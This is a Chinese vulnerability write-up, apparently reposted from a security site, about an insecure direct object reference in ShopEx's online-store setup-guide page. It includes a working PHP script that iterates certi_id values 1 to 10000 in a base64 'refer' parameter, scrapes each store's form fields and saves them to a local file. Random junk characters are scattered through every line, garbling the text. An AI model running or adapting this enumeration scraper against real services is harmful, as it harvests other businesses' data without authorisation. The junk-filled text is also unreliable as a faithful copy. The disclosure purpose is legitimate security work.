|
|
简要描述:0 P& j! A- m3 ~$ e9 @# `
ShopEx某接口缺陷,可遍历所有网站4 I Q. x& _$ ~" ^; {& C
详细说明:
2 G' }5 d+ t3 t& R问题出现在shopex 网店使用向导页面 1 W0 \) { j* K+ O/ x7 b% V
- k& c0 T1 S9 `% R$ \+ i* |: h1 X& a
$ U3 p) \7 J7 w+ P+ v% d
2 t: T) L8 [% |( f! h6 `# c
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=5 y; i$ S( {5 Y& i+ G; \
# }% b2 s, O6 {" {2 T8 q# i# u7 V. C6 s( l! U8 k, ~
) u- B1 X/ ^( H. q% @% M- o7 C
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
9 p* H' r, w! @$ T3 F5 G3 |1 z
0 k- S9 W% Y5 V( Z: ?1 U
9 o0 ^, h" s" a. ~$ w, M/ e7 X) Z+ |& v6 I! n5 F
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站 ' ]2 f* n' e8 ~% x
% _! V' @8 \2 U# p
3 J# J- ?# u; ]1 i0 c! b, x# q+ I: r, |0 `
<?php
5 S& [6 U7 c2 X5 @3 B! V4 R$ {& R# K: O8 t X$ p* G7 q8 u
for ($i=1; $i < 10000; $i++) { //遍历
1 V6 W! q( L6 x- P1 d' R' D+ s8 T$ B9 `! T8 q) g% s
ShowshopExD($i);
% y$ \, a) _& _5 a0 }* q* i/ O* V
. r- b0 _# v+ _) [$ f" `+ @ }
- M6 \" k; Q1 H4 A, F/ e% o9 l' N, h
function ShowshopExD($cid) {2 j) w; X% H1 N; }0 ~
8 E: N$ z. E5 d
$url='http://guide.ecos.shopex.cn/step2.php';$ C: R) u# e: Q
1 H9 ^$ n! v: n0 n) p( N $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
" D3 |" L7 A: U/ Q$ j2 t! I
: e$ d7 f8 I8 v# b- ` $url = $url.'?refer='.$refer;% A6 E3 x" G* S$ h: L v1 R
) M- y# w' W, ]0 U9 F6 E/ T/ d $ch = curl_init($url);
1 x$ X' W& @' c: G2 K+ b; n( }. Q* `
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;% J* }! c& n9 W! Z# A
; N, I3 r+ W, \1 a9 G: F
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;1 y, P+ [ [3 g ]8 I
1 L7 U. n! Y' q1 F $result = curl_exec($ch);
$ F) ~- }; U5 s6 p- @+ b
7 G' s4 N: y& m4 s, ?- x! ? $result = mb_convert_encoding($result, "gb2312", "UTF-8");1 z, F, j6 J) K2 e. K
9 M8 E0 Q1 Q/ Z5 w1 }
if(strpos($result,$refer))
R) ^4 K* X3 K6 B2 }
K% e9 c6 Z' A8 X" T {
5 ?9 v5 i9 M( K. z! L9 w& }9 T/ R) }( c, w$ G2 M( I
$fp = fopen("c:/shopEx.txt",'ab'); //保存文件0 n' R/ q2 k' H: w+ u+ [
+ m4 O- u% @! M
preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);# O; F* y+ J2 \$ n
( V. H& o7 Q9 D* q- ] foreach ($value[1] as $key) {
S# I" t+ W+ B% M, G* C |) [. n* ~) r# k
preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);1 k# @8 R! v+ A7 T7 G, d
, B) T+ p, E5 A+ X3 g" Z3 P$ y( s
echo $res[1][0].':'.$res[3][0]."\r\n";
9 s/ X! J1 H4 v) k; t; Z- f( j8 ]3 S
6 c( z4 v* T& c$ o: x; L $col =$res[1][0].':'.$res[3][0]."\r\n";
1 \5 \! D8 I0 U/ h5 L1 l
4 ^5 y) b7 j% Q5 T% X; x% X# S- Y fwrite($fp, $col, strlen($col)); 4 x( C1 o# z( T2 B# }
& d( c1 |6 W$ F4 l/ _
}
+ x+ C, g h1 d+ \+ _! [
! @# g& r, H* ] echo '--------------------------------'."\r\n";
# ^! I' W5 c1 E- ~; `: |: L. ^
. ]6 W3 a8 { L8 ` y' z fclose($fp); , B9 Q6 _9 E, X) m' W
1 h3 m! p& `4 C# y7 f
}* @* ^& H) y# c1 I6 N9 |
9 d* V: ?; o( Q/ {! K* o. ^
flush();/ v/ ~0 _9 J: O( O
. g' c2 s; C0 ~1 U& I; b0 g curl_close($ch);) H* _0 p) j& F+ U4 a
7 Z5 u5 f" A" ]$ V' U/ g
}; K1 X% L5 y% _
8 z# s: v# N: y0 e3 J8 e
?>7 m6 T* \- I6 Z( x1 m* o6 Z( P% d
漏洞证明:# T% ]9 ?' b1 _$ W! g6 Q ]
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg8 Y# I' a8 d+ K8 _& x7 E/ f
refer换成其他加密方式
+ ]: P( L6 {; d& e# Q3 B0 H2 O |
|